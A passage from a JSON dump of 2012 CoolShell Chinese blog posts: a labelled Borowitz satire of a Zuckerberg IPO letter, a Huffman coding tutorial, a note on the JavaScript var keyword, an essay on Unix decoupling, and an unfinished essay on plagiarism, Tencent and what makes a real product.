    "content": "---\nlayout: post\ntitle: 扎克伯格的一封信：关于Facebook IPO\ndate: 2012/5/19/ 3:1:21\nupdated: 2012/5/19/ 3:1:21\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/zuck.jpg)MENLO PARK, CA (****[The Borowitz Report](http://www.borowitzreport.com/2012/05/17/a-letter-from-mark-zuckerberg/ \"Borowitz Report\")****) – 在Fackbook IPO前夕，Facebook的创始人兼CEO Mark Zuckerberg 给全球股民发表了封公开信：\n\n\n亲爱的股民们：\n\n\n    这么多年来，你们已经在Facebook上浪费了你们的时间 ，接下来，你们会得到浪费你们金钱的机会。\n\n\n   明天是Facebook的IPO，并且我知道你们一定在想，Facebook怎么就和2000年的.COM泡沫不一样啦？\n\n\n首先，我想告诉你们，以前那些糟糕的dot-com公司玩的是概念和炒作，而没有真正的商业价值。而Facebook不一样，也就是说，我们Facebook是建立在强大的以“疯狂的小鸟”和“一群想像中的羊”的基础上的。\n\n\n其次，Facebook是世界上最成功的社交网络，我们的用户最近才发现，这个社交网络让人们分享了数以万计别人根本不感兴趣的信息。\n\n\n第三，当某人点击Faceback广告的时候，我们就会挣到钱。而且我们知道，点我们广告的人都不是故意点击，成百万的人点我们的广告是因为那时他们喝醉了。我们完全从iTunes偷到这个有创意的想法。\n\n\n最后，如果你买我们的股票，你将永远不会孤独。据调查，在过去几年里使用facebook的全球9亿用户，他们都有轻微或中等程度的大脑损伤，这影响了他们的作正常判断的能力。所以，这些人都成为你的朋友——Facebook的股民。\n\n\n有了你的帮助，如果明天一切都照计划进行，Facebook IPO将会募到1000亿美金。这是个什么概念，这相当于4到5个摩根大通银行损失的钱。\n\n\n最后一件事：我，Mark Zuckerberg，是否会因此IPO获得180亿美金？ 也许，我正在考虑把希腊买了，但就算是这样，我还是有180亿美金。 LOL.\n\n\nFriend me (粉我),\n\n\nMark\n\n\n（新闻来源：<http://www.borowitzreport.com/2012/05/17/a-letter-from-mark-zuckerberg/>）\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![关于Facebook 的 React 专利许可证](../wp-content/uploads/2017/09/react_patent-360x200-1-150x150.jpg)](https://coolshell.cn/articles/18140.html)[关于Facebook 的 React 专利许可证](https://coolshell.cn/articles/18140.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/4939.html)[Quora使用到的技术](https://coolshell.cn/articles/4939.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4549.html)[Facebook 的系统架构](https://coolshell.cn/articles/4549.html)\n* [![Facebook全球关系网](../wp-content/uploads/2010/12/Visualizing-Friendships-on-Facebook-150x150.png)](https://coolshell.cn/articles/3396.html)[Facebook全球关系网](https://coolshell.cn/articles/3396.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/1941.html)[程序员的相关笑话（二）](https://coolshell.cn/articles/1941.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/1903.html)[程序员的相关笑话（一）](https://coolshell.cn/articles/1903.html)\nThe post [扎克伯格的一封信：关于Facebook IPO](https://coolshell.cn/articles/7448.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-5-22 Huffman 编码压缩算法.md",
    "content": "---\nlayout: post\ntitle: Huffman 编码压缩算法\ndate: 2012/5/22/ 5:32:5\nupdated: 2012/5/22/ 5:32:5\nstatus: publish\npublished: true\ntype: post\n---\n\n前两天发布那个[rsync算法](https://coolshell.cn/articles/7425.html \"rsync 的核心算法\")后，想看看数据压缩的算法，知道一个经典的压缩算法Huffman算法。相信大家应该听说过 [David Huffman](http://en.wikipedia.org/wiki/David_A._Huffman \"David Huffman\") 和他的压缩算法—— [Huffman Code](http://en.wikipedia.org/wiki/Huffman_coding)，一种通过字符出现频率，[Priority Queue](http://en.wikipedia.org/wiki/Priority_queue)，和二叉树来进行的一种压缩算法，这种二叉树又叫Huffman二叉树 —— 一种带权重的树。从学校毕业很长时间的我忘了这个算法，但是网上查了一下，中文社区内好像没有把这个算法说得很清楚的文章，尤其是树的构造，而正好看到一篇国外的文章《[A Simple Example of Huffman Code on a String](http://en.nerdaholyc.com/huffman-coding-on-a-string/)》，其中的例子浅显易懂，相当不错，我就转了过来。注意，我没有对此文完全翻译。\n\n\n我们直接来看示例，如果我们需要来压缩下面的字符串：\n\n\n**“beep boop beer!”**\n\n\n首先，我们先计算出每个字符出现的次数，我们得到下面这样一张表 :\n\n\n\n\n\n|  |  |\n| --- | --- |\n| 字符 | 次数 |\n| ‘b’ | 3 |\n| ‘e’ | 4 |\n| ‘p’ | 2 |\n| ‘ ‘ | 2 |\n| ‘o’ | 2 |\n| ‘r’ | 1 |\n| ‘!’ | 1 |\n\n\n  \n\n然后，我把把这些东西放到Priority Queue中（用出现的次数据当 priority），我们可以看到，Priority Queue 是以Prioirry排序一个数组，如果Priority一样，会使用出现的次序排序：下面是我们得到的Priority Queue：\n\n\n\n[![](../wp-content/uploads/2012/05/coada1.png \"coada1\")](https://coolshell.cn/wp-content/uploads/2012/05/coada1.png)\n\n\n接下来就是我们的算法——把这个Priority Queue 转成二叉树。我们始终从queue的头取两个元素来构造一个二叉树（第一个元素是左结点，第二个是右结点），并把这两个元素的priority相加，并放回Priority中（再次注意，这里的Priority就是字符出现的次数），然后，我们得到下面的数据图表：\n\n\n[![](../wp-content/uploads/2012/05/coada2.png \"coada2\")](https://coolshell.cn/wp-content/uploads/2012/05/coada2.png)\n\n\n同样，我们再把前两个取出来，形成一个Priority为2+2=4的结点，然后再放回Priority Queue中 :\n\n\n[![](../wp-content/uploads/2012/05/coada31.png \"coada3\")](https://coolshell.cn/wp-content/uploads/2012/05/coada31.png)\n\n\n继续我们的算法（我们可以看到，这是一种自底向上的建树的过程）：\n\n\n[![](../wp-content/uploads/2012/05/coada4.png \"coada4\")](https://coolshell.cn/wp-content/uploads/2012/05/coada4.png)\n\n\n[![](../wp-content/uploads/2012/05/coada5.png \"coada5\")](https://coolshell.cn/wp-content/uploads/2012/05/coada5.png)\n\n\n[![](../wp-content/uploads/2012/05/coada61.png \"coada6\")](https://coolshell.cn/wp-content/uploads/2012/05/coada61.png)\n\n\n最终我们会得到下面这样一棵二叉树：\n\n\n[![](../wp-content/uploads/2012/05/arbore_final.png \"arbore_final\")](https://coolshell.cn/wp-content/uploads/2012/05/arbore_final.png)\n\n\n此时，我们把这个树的左支编码为0，右支编码为1，这样我们就可以遍历这棵树得到字符的编码，比如：‘b’的编码是 00，’p’的编码是101， ‘r’的编码是1000。**我们可以看到出现频率越多的会越在上层，编码也越短，出现频率越少的就越在下层，编码也越长**。\n\n\n[![](../wp-content/uploads/2012/05/arbore_final_numerotat.png \"arbore_final_numerotat\")](https://coolshell.cn/wp-content/uploads/2012/05/arbore_final_numerotat.png)\n\n\n最终我们可以得到下面这张编码表：\n\n\n\n\n\n|  |  |\n| --- | --- |\n| 字符 | 编码 |\n| ‘b’ | 00 |\n| ‘e’ | 11 |\n| ‘p’ | 101 |\n| ‘ ‘ | 011 |\n| ‘o’ | 010 |\n| ‘r’ | 1000 |\n| ‘!’ | 1001 |\n\n\n  \n\n这里需要注意一点，当我们encode的时候，我们是按“bit”来encode，decode也是通过bit来完成，比如，如果我们有这样的bitset “1011110111″ 那么其解码后就是 “pepe”。所以，我们需要通过这个二叉树建立我们Huffman编码和解码的字典表。\n\n\n这里需要注意的一点是，我们的Huffman对各个字符的编码是不会冲突的，也就是说，**不会存在某一个编码是另一个编码的前缀**，不然的话就会大问题了。因为encode后的编码是没有分隔符的。\n\n\n于是，对于我们的原始字符串  beep boop beer!\n\n\n其对就能的二进制为 : 0110 0010 0110 0101 0110 0101 0111 0000 0010 0000 0110 0010 0110 1111 0110 1111 0111 0000 0010 0000 0110 0010 0110 0101 0110 0101 0111 0010 0010 0001\n\n\n我们的Huffman的编码为： 0011 1110 1011 0001 0010 1010 1100 1111 1000 1001\n\n\n从上面的例子中，我们可以看到被压缩的比例还是很可观的。\n\n\n作者给出了源码你可以看看（ C99标准） [Download the source files](http://en.nerdaholyc.com/wp-content/uploads/2012/05/huffman_string.zip)\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Cuckoo Filter：设计与实现](../wp-content/uploads/2015/08/cuckoo-150x150.jpg)](https://coolshell.cn/articles/17225.html)[Cuckoo Filter：设计与实现](https://coolshell.cn/articles/17225.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![谜题的答案和活动的心得体会](../wp-content/uploads/2014/08/puzzle-150x150.png)](https://coolshell.cn/articles/11847.html)[谜题的答案和活动的心得体会](https://coolshell.cn/articles/11847.html)\n* [![【活动】解迷题送礼物](../wp-content/uploads/2014/08/538efefbgw1eiz9cvx78fj20rm0fmdi8-150x150.jpg)](https://coolshell.cn/articles/11832.html)[【活动】解迷题送礼物](https://coolshell.cn/articles/11832.html)\n* [![二维码的生成细节和原理](../wp-content/uploads/2013/10/QR-Code-Overview-150x150.jpeg)](https://coolshell.cn/articles/10590.html)[二维码的生成细节和原理](https://coolshell.cn/articles/10590.html)\n* [![伙伴分配器的一个极简实现](../wp-content/uploads/2013/10/buddy-memory-allocation-150x150.jpg)](https://coolshell.cn/articles/10427.html)[伙伴分配器的一个极简实现](https://coolshell.cn/articles/10427.html)\nThe post [Huffman 编码压缩算法](https://coolshell.cn/articles/7459.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-5-24 Javascript 中的 var.md",
    "content": "---\nlayout: post\ntitle: Javascript 中的 var\ndate: 2012/5/24/ 6:50:31\nupdated: 2012/5/24/ 6:50:31\nstatus: publish\npublished: true\ntype: post\n---\n\nMelonCard发布了一篇文章——”[how one missing var ruined our launch](http://blog.meloncard.com/post/12175941935/how-one-missing-var-ruined-our-launch)“（”少写了一个var毁了我的网站”），这篇文章是说MelonCard用Node.js做后台，因为出了一个小高峰——有50-100人注册，结果整个网站都不响应了，而且还出现了很多奇怪的问题。当他们调查到问题的要源的时候，他们发现下面的代码少写了一个var。\n\n\n[javascript]app.all(‘/apps/:user\\_id/status’, function(req, res, next) {  \n\n // …  \n\n initial = extractVariables(req.body);  \n\n});[/javascript]\n\n\n为什么inital少写一个var会引发这个问题呢？因为如果你不写var，这个局部的变量会被javascript当成全局变量，而这个变量又是一个函数，所以，当多用户并发的时候，这个本应该在不同用户下互不干扰的变量，成了各个用户共享的东西。试想，用户A的数据被用户B覆盖了，用户A和B的数据还没处理完，结果被新的C给搞乱了，程序的逻辑自然出现了问题。\n\n\n在stackoverflow.com上有[这么一个贴子说明了“有var”和“无var”](http://stackoverflow.com/questions/1470488/difference-between-using-var-and-not-using-var-in-javascript)的差别：\n\n\n\n```\n// These are both globals\nvar foo = 1;\nbar = 2;\n\nfunction test()\n{\n    var foo = 1; // Local\n    bar = 2;     // Global\n\n    // Execute an anonymous function\n    (function()\n    {\n        var wibble = 1; // Local\n        foo = 2; // Inherits from scope above (creating a closure)\n        moo = 3; // Global\n    }())\n}\n```\n\n上面这个示例告诉我们，如果你不用var，那么这个js引擎会一层一层地向上找父作用域中的变量，如果找到了，就用，如果找不到了，就会帮你定义一个全局的变量。上面这个例子充分说明了这一点。所以，**如果你想在当前的作用域用声明变量，你一定要用var**。这对于一些乱写javascript代码的程序员要注意了。这里再给大家介绍一个工具——\n\n\n\n**JSLint( <http://www.jslint.com/> )**，一个JS代码质量的分析工具，我们把上述stackoverflow的代码copy到JSLint这个在线工具中，我们可以看到下面的报告：\n\n\n![](../wp-content/uploads/2012/05/jslint.jpg \"jslint\")\n\n\n这个报告说明了源码中的那些变量的情况。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![如何读懂并写出装逼的函数式代码](../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg)](https://coolshell.cn/articles/17524.html)[如何读懂并写出装逼的函数式代码](https://coolshell.cn/articles/17524.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\n* [![Lua简明教程](../wp-content/uploads/2013/12/lua-150x150.gif)](https://coolshell.cn/articles/10739.html)[Lua简明教程](https://coolshell.cn/articles/10739.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/10337.html)[数据即代码：元驱动编程](https://coolshell.cn/articles/10337.html)\nThe post [Javascript 中的 var](https://coolshell.cn/articles/7480.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-5-3 用Unix的设计思想来应对多变的需求.md",
    "content": "---\nlayout: post\ntitle: 用Unix的设计思想来应对多变的需求\ndate: 2012/5/3/ 0:14:20\nupdated: 2012/5/3/ 0:14:20\nstatus: publish\npublished: true\ntype: post\n---\n\n之前，@[风枫峰](http://weibo.com/hfcc?source=webim \"风枫峰\") 在“[这是谁的错？](https://coolshell.cn/articles/7126.html \"这到底是谁之错？\")”中说过开发团队对需求来者不拒，而@[weidagang](http://weibo.com/weidagang \"weidagang\") 也在“[需求变更和IoC](https://coolshell.cn/articles/6950.html \"需求变化与IoC\")”中说过用IoC来最大程度地解决需求变更。今天我也想从Unix设计思想的角度来说说什么是好的软件设计，什么样的设计可以把需求变更对开发的影响降低。（**注意**：这并不能解决用户或是PM的无理需求，面对无理需求，需要仔细分析需求，而用技术的手段无法搞定这个事，但是可以减轻需求变更带来的痛苦） 我曾经在[《Unix传奇》的下篇](https://coolshell.cn/articles/2324.html)中写过一些Unix的设计哲学和思想（这里重点推荐大家看一下《*[The Art of Unix Programming](http://product.china-pub.com/197413)*》，我推荐过多次了），以前也发过一篇《[一些软件设计的原则](https://coolshell.cn/articles/4535.html \"一些软件设计的原则\")》，不过，这些东西都太多了，记不住。其实，这么多年来，我的经验告诉我，**无论是Unix设计，还是面向对象设计，还是别的什么如SOA，ECB，消息，事件，MVC，网络七层模型，数据库设计，等等，他们都在干三件事——解耦，解耦，还是解耦！**所谓解耦，就是让软件的模块和模块间尽量少地依赖起来。\n\n\n![](../wp-content/uploads/2012/05/Bannière-Unix-linux.jpg \"Unix\")\n\n\n#### 现实当中的例子\n\n\n让我先举几个现实生活中的例子：\n\n\n1、现实社会中，制造灯具的工厂完全不关心制造灯泡的工厂，制造灯泡的工厂完全不关心制造灯具的工厂，但是，灯泡和灯饰可以很完美地组合成用户所喜欢的样子（这和@[weidagang](http://weibo.com/weidagang \"weidagang\") 在“[需求变更和IoC](https://coolshell.cn/articles/6950.html \"需求变化与IoC\")”说到的那个PC的例子相仿）。他们是怎么做到的？\n\n\n2、互联网上，做网站的人完全不用关心用户在用什么样的操作系统，什么样的客户端浏览器（当然事实上，浏览器的不标准让网站那边很头痛，这里只是举个例），反过来，上网的人也不关心做网站的人在用什么的技术开发网站。但是大家在完全不关心对方的情况下，可以很正常地协同工作在一起。为什么？\n\n\n 这样的例子太多了。为什么可以做成这样呢？因为大家依赖的是一个接口，灯具和灯泡并不互相依赖，他们依赖的是一个接口，做网站的人和浏览网站的人依赖的还是接口——HTTP协议。这就是面向对象的核心思想——依赖于接口而不是实现，这就是解耦。**当你看过这两个例子以后，我希望你以后设计的软件至少不能比我们现实社会中的这些方法要差**。不然，你就是在让社会倒退了，呵呵。 你会说，这和Unix，和应对需求变化有什么关系？好让我们再来看一下Unix的设计。\n\n\n#### Unix设计的例子\n\n\n下面是几个Unix下的例子：\n\n\n1、Unix下，所有的硬件都可以通过文件的方式存取。其统统在/dev下。于是，软件和硬件的耦合被解开了，操作系统只需要把硬件统统变成文件，而程序只需要使用三个东西，一个是fd，一个是read()，一个是write()，就可以来操作任意的硬件了，这就是抽象，简单到不行。\n\n\n2、Unix下，所有的命令都可以用管道串起来（管道绝对是个伟大的发明），这样，所有的命令间的交互全部解耦到只依赖于STD\\_IN, STD\\_OUT设备上。最酷的是，用户可以使用管道任意地拼装那些命令，以完成各式各样的功能。管道这个设计思想可以映射为今天的Web Service，你可以任意地拼装各种Web Service。\n\n\n看到这里，你会发现，这还是解耦，本质上来说，也是一种依赖倒置——OOD的精髓。但是，Unix还不仅仅是这些。我们再来看几个例子：\n\n\n1、Unix下，软件都是绿色地安装。在iOS上更明显——各个程序间基本上互不干扰，这个程序产生的垃圾文件不会影响到另一个程序。你删掉一个程序不会让另一个程序不举，各是各的空间。你可以删除这些程序，只要把内核心留着，系统照样可以启动。\n\n\n2、Unix下，你可以通过设置一些环境变量，让多种环境同时存在，比如：某个LAMP用的是Apache 2.0, Mysql 4.0, PHP 4.0，某个LAMP用的是Apache 2.2, Mysql 5.0，PHP5.3，你不但可以方便地在系统中切换这两个环境，你甚至还可以同时启动他们。\n\n\n3、Unix下，你可以随意地替换你想要的程序。比如，你不喜欢bash，你可以替换成ksh/csh等，你不喜欢awk ，你可以替换成 gawk ，所有的东西都像零件一样，你不喜欢什么，你就可以替换什么。\n\n\n这三个例子告诉了我们——**当你把你的软件设计地耦合度非常地低时，你可以随意地组合，随意地安排你的系统**。相当的灵活，灵活到Windows到今天都学不会。\n\n\n#### 应对需求变化\n\n\n看到这里，你可能明白我想说的是什么了，你可能开始觉得怎么样的系统设计会更有效了。如果你还记得《[Steve Y 对平台的长篇大论](https://coolshell.cn/articles/5701.html \"SteveY对Amazon和Google平台的长篇大论\")》，你就会知道我想说什么了。是的，我想说的就是，**当你真正了解了Unix的设计思想后，你会觉得今天的很多东西都是对Unix设计思想的一种传承或是变种**。这种东西就是：\n\n\n1）**解耦，解耦，解耦**。尽量地让你的模块不要在实现上耦合，而是耦合某个规范，某个标准。\n\n\n2）**KISS，KISS，KISS**。要做到高度解耦，你的模块就一定要很简单，当然不是说简单到只有几行代码，而是简单到只干一件事，并把这件事干到极致。然后通过某个标准拼装起来。\n\n\n3）**拼装，拼装，拼装。**我想不起来是谁说的了，这句话是这样的，当我想用一个模块的时候，我直接调用就好了，没有必要像C或Java一样，还要编译。是的，拼装需要一个框架，需要一种标准协议，然后让所有的系统都耦合在这种规范上，各自独立运行，就像一个机器上的各个部件一样，当我觉得这个部件不爽，换了就是了。（例如，当我们在尝试不同的算法的时候）\n\n\n想想建材和家俱市场，无论用户过来想装修什么，我都可以满足用户的不同需求，只要你是和家装相关，我基本上都能满足你，不是吗？无论你怎么变，只要不变态，我基本上都可以满足你。这就是解耦，拼装带来的好处。 你可能会说我说得太简单了，另一方面，你可能觉得有一些系统这样做没必要，我承认，不过，你可以有选择的或多或少地试试。（其实，我相信你已经在不自觉得或多或少地使用这种方式开发软件了） （全文完）\n\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![从面向对象的设计模式看软件设计](../wp-content/uploads/2013/01/kiss-150x150.png)](https://coolshell.cn/articles/8961.html)[从面向对象的设计模式看软件设计](https://coolshell.cn/articles/8961.html)\n* [![缓存更新的套路](../wp-content/uploads/2016/07/cache-150x150.png)](https://coolshell.cn/articles/17416.html)[缓存更新的套路](https://coolshell.cn/articles/17416.html)\n* [![IoC/DIP其实是一种管理思想](../wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg)](https://coolshell.cn/articles/9949.html)[IoC/DIP其实是一种管理思想](https://coolshell.cn/articles/9949.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg](https://coolshell.cn/articles/6950.html)[需求变化与IoC](https://coolshell.cn/articles/6950.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/4535.html)[一些软件设计的原则](https://coolshell.cn/articles/4535.html)\n* [![我做系统架构的一些原则](../wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png)](https://coolshell.cn/articles/21672.html)[我做系统架构的一些原则](https://coolshell.cn/articles/21672.html)\nThe post [用Unix的设计思想来应对多变的需求](https://coolshell.cn/articles/7236.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-6-13 抄袭，腾讯 和 产品.md",
    "content": "---\nlayout: post\ntitle: 抄袭，腾讯 和 产品\ndate: 2012/6/13/ 0:35:31\nupdated: 2012/6/13/ 0:35:31\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2012/06/i-hate-copycat-296x300.png \"i hate copycat!\")很早就想写这篇文章了，只是想法比较零碎，所以一直没有成文，这两天觉得思考得比较成熟了一些，所以把我的这些想法整理下来，欢迎大家一起和我讨论。\n\n\n#### 鄙视抄袭和山寨\n\n\n首先，先表达我的立场，我对抄袭的立场持BS和痛恨的态度，尤其是[那些C2C的网站](https://coolshell.cn/articles/3820.html \"中国的C2C模式\")，痛恨这些国外有什么就山寨什么的做法，尤其是那些连界面都不改，像素级的抄袭，连CSS和img都是一样的，更甚者，连图片都链接到抄袭源的网站去了，连源代码都抄的行为，比如：[腾讯抄新浪的代码](http://weibo.com/1661751144/yjLfJqMZ6)，[新浪抄twitter的源码](http://yuanxing.iteye.com/blog/638129)。无法不BS之。\n\n\n有很多网友邀请我去那个抄袭Quora的网站上去回答问题，借此，再次声明我不会去的。因此，有一些网友说，我不一样也在Twitter的抄袭网站新浪微博上吗？说我装逼了。我想说，新浪和Twitter基本上是同一种产品的思路，但是其实现不一样，新浪微博上一些twitter上没有功能，我个人觉得这并不算抄袭，我甚至认为新浪微博和Twitter各有长处，在一些功能上新浪微博比twitter做得更好。你可以理解为，新浪微博总体上来说并没有突破我心中的那个条抄袭的底线。\n\n\n我个人对抄袭的理解如下：\n\n\n1）你可以复制别人的想法和功能，但是如果你连界面设计，代码，图片，风格，布局，等等所有的一切都照抄，那我就一定要鄙视你。\n\n\n2）你可以仿照别人的产品，但是你的出发点应该是他没做好，我来把它把做好，如果你的出发点是为了复制抄袭和山寨，我一样鄙视。\n\n\n所以，你可以理解我为什么不去Quora，Stackoverflow，Facebook，Google的山寨网站了，因为上述两点，1）完全复制，2）山寨地太次。\n\n\n#### 理性对待抄袭\n\n\n因为很多朋友极端地理解了我对抄袭的立场，所以我有必要要说说我对“抄袭”或是“模仿”的其它一些观点：\n\n\n\n**1）“抄袭想法”**。想法这个东西我不觉是有什么专有的东西，也不存在什么抄袭，好的想法，就不应该被垄断，好的想法是应该放出来让大家一起来实现的。所以，我并不觉得一个想法有什么不能被抄袭的。你做Web Server，我也做Web Server，你做论坛，我也做论坛，你做手机，我也做手机，你做便携电脑，我也做便携电脑，你做通讯软件，我也可以做通讯软件…… 等等，越是优秀的产品和思路，就越不可能不被别人学习和模仿的。\n\n\n**2）“抄袭界面”**。根据法律来说，界面上的某些元件，如菜单，按钮，甚至布局，配色之类的单一的东西是没有版权的，但是这些东西组成的界面是存在版权的，你不能让你的产品界面和别人的界面长得雷同。而且，对于一些有艺术特征的设计和版式是受法律保护的。所以，对于界面来说，我们需要做一些区别，比如，很多电视机长得很相似，连摇控器都很相似，但是电视其中的菜单和功能会有不同；很多的家用小汽车形状都很相似，但是线条和外形并不相似；Unix和Linux的用户接口几乎一样，但是Unix和Linux的内部实现和功能上有很大的不同（比如文件系统，内核管理等），MacOS/Windows/X-Win/Gnome/KDE 这些桌面系统大同，但是实现和细节上又不一样。\n\n\n看我这样一说，你会说，嗯，你说的就是所谓的“微创新”！是的，这是个仁者见仁，智者见智的问题了。再说一遍，无所谓什么微创新不微创新，我对此的价值观很简单  —— **只要你这个复制品在不违反法律的层面上，能在品质上超过原来那个产品，我是会认可的，而且还是会对复制品买帐的**。\n\n\n总之，我想说的是——\n\n\n1）好的东西总是会让人去学习和仿制的，而学习和仿制好的一面是会引入竞争，竞争会让这个东西更好的。\n\n\n2）不要害怕被人仿制，被人仿制说明你做得好，如果你的仿冒者超过了你，那你应该反思自己，而不要赖别人。\n\n\n#### 如何不被腾讯抄袭\n\n\n说起抄袭这个事来，就不得不说腾讯，现在互联网上一堆人都在思考，腾讯太变态，无论我做什么，都逃不出他的魔掌。很多风投都在问创业团队一个问题——“如果腾讯抄你，你怎么办？”。\n\n\n在我往下阐述如何不被腾讯抄的话题下，请让我先重申一下我在“[腾讯，竞争力 和 用户体验](https://coolshell.cn/articles/5901.html \"腾讯，竞争力 和 用户体验\")”一文中说的那个观点：“*腾讯这样大规模的抄袭和山寨，对整个社会的价值就是——会让很多很多的创业团队放弃Copy，甚至让他们要放弃那些容易被复制的“业务型的项目”，而逼着他们去努力思考，如何才不能被腾讯复制，如何才能有自己的核心价值*”，我把这个观点再进一步阐述，“**有腾讯在，会让你更清楚地认识什么叫创业的残酷，会让你更清楚认识到什么是真正产品的价值，什么是核心竞争力，你但凡有一点急功近利的想法你都要想一想那个有钱有人有势也很急功近利的企鹅！**”\n\n\n我不知道，我写了那篇文章这段时间来，大家有没有思考过前边文章里我说的问题？其实我在“[腾讯，竞争力 和 用户体验](https://coolshell.cn/articles/5901.html \"腾讯，竞争力 和 用户体验\")”一文中已经说到过一些了，不知道大家有没有去思考？\n\n\n老实说，其实腾讯并不可怕，先让我们来分析一下腾讯的特征和短板：\n\n\n* **特征**。腾讯的很多产品线完全雷同，比如：QQ，微信，空间，群，微博，朋友，等等，几乎完全一样，所以，这是不是说明了下面几个问题：\n\n\n1）他们人太多，没事干了，所以什么都干。  \n\n2）各产品线为了规避风险都想伴QQ这个大款，所以不知道怎么创新。  \n\n3）内部竞争激烈，技术团队加班赶工，所以只能无目的地广撒网了。\n\n\n* **短板**。你看看腾讯的这些产品线和他的用户群，我觉得就目前阶段，腾讯至少有三种产品复制不出来。\n\n\n1）有烦杂的线下业务的产品。比如：电子商务需要供应商，仓库，物流，等这样物理流程的业务很难复制。  \n\n2）有质量，有价值，有权威的社区。比如，豆瓣，Stackoverflow，Quora这样的有价值的社区。  \n\n3）有技术含量的产品，比如： Nginx，MySQL，Android/iOS 之流技术大于业务的产品。\n\n\n通过这样的分析，我想告诉大家，**腾讯并不可怕，可怕的是你自己不会思考和观察，可怕的是你急功近利而没有去找有价值的东西来做**。推而广之，如果你想做的东西是很快就能做出来的，那么你就不要指望不被人抄，也就是说，**如果你着眼短期，你无疑会面对众多的抄袭和模仿者让你万劫不复，但是，如果你着眼长期，做一个3-5年需要花费大量精力才会成熟的产品，那么，那些急功近利的抄袭者会知难而退的**。因为，“需要3-5年的时间”这一条完全不符合抄袭者的价值观，所以，你面对的竞争对手也会少了9成。\n\n\n#### 什么是真正的产品\n\n\n说到这里，我必需要说一下什么是真正的产品！我看到现在很多创业团队把功能当产品来做，这就为模仿者们留下了很多很多机会，比如苹果商店里的很多照片分享的Apps，或是一些云存读，云分享之类的东西，如：Dropbox和Evernote，或是一些旅游类的Apps。这些东西在我眼里还不能算得上是真正的产品，所以，我们可以看到他们的模仿者有很多很多。当然，我并不是说不能把功能当成产品来做，只是我觉得这样的产品并不长久，并不具强大的可持续性，而且很容易被取代。那怕是现在风头正劲的Instgram, Dropbox, Evernote，大家试想一下，如果哪天Apple或是Canon把Instgram这样的功能集成到他的照相功能中，哪天操作系统把Dropbox/Evernote集成到他的操作系统中。（当然，我只是说有这种可能，我只是想让大家思考一下以功能为产品的弱势是什么样的）\n\n\n好，让我来说说什么是真正的产品：\n\n\n* **真正的产品应该是有一个端到端的一个解决方案**。比如说：电子阅读中的从购书，到阅读，再到阅读心得分享，再到推荐，这一整套的解决方案。看看苹果的产品的端到端的解决方案，就知道什么是产品的样子了。\n\n\n* **真正的产品应该是有价值的**。这种价值表现在——你可以从中获得有价值的内容，并且你也可以通过他创造对你有价值的东西。比如，像豆瓣，像Stackoverflow，甚至像Twitter和微博这样让信息平等让信息传递更快的社区，或是像AWS或是Apple的开发平台，等等。可见，我们无法通过QQ获得有价值的东西，我们也无法通过QQ创造有价值的东西。\n\n\n* ****真正的产品应该是和社会有交互并能自我进化的**。**真正的产品应该是用户会来贡献有价值的内容，真正的产品应该是有开放的接口让其它系统容易集成的。也就是说，真正的产品应该是有一个生态圈的，在这个生态圈内，不但能自给自足，自我循环，还能自我管理，自我进化。可见，腾讯的用户群完全没有为这个平台贡献什么有价值的东西，更不谈他们会帮腾讯来进化了。\n\n\n* 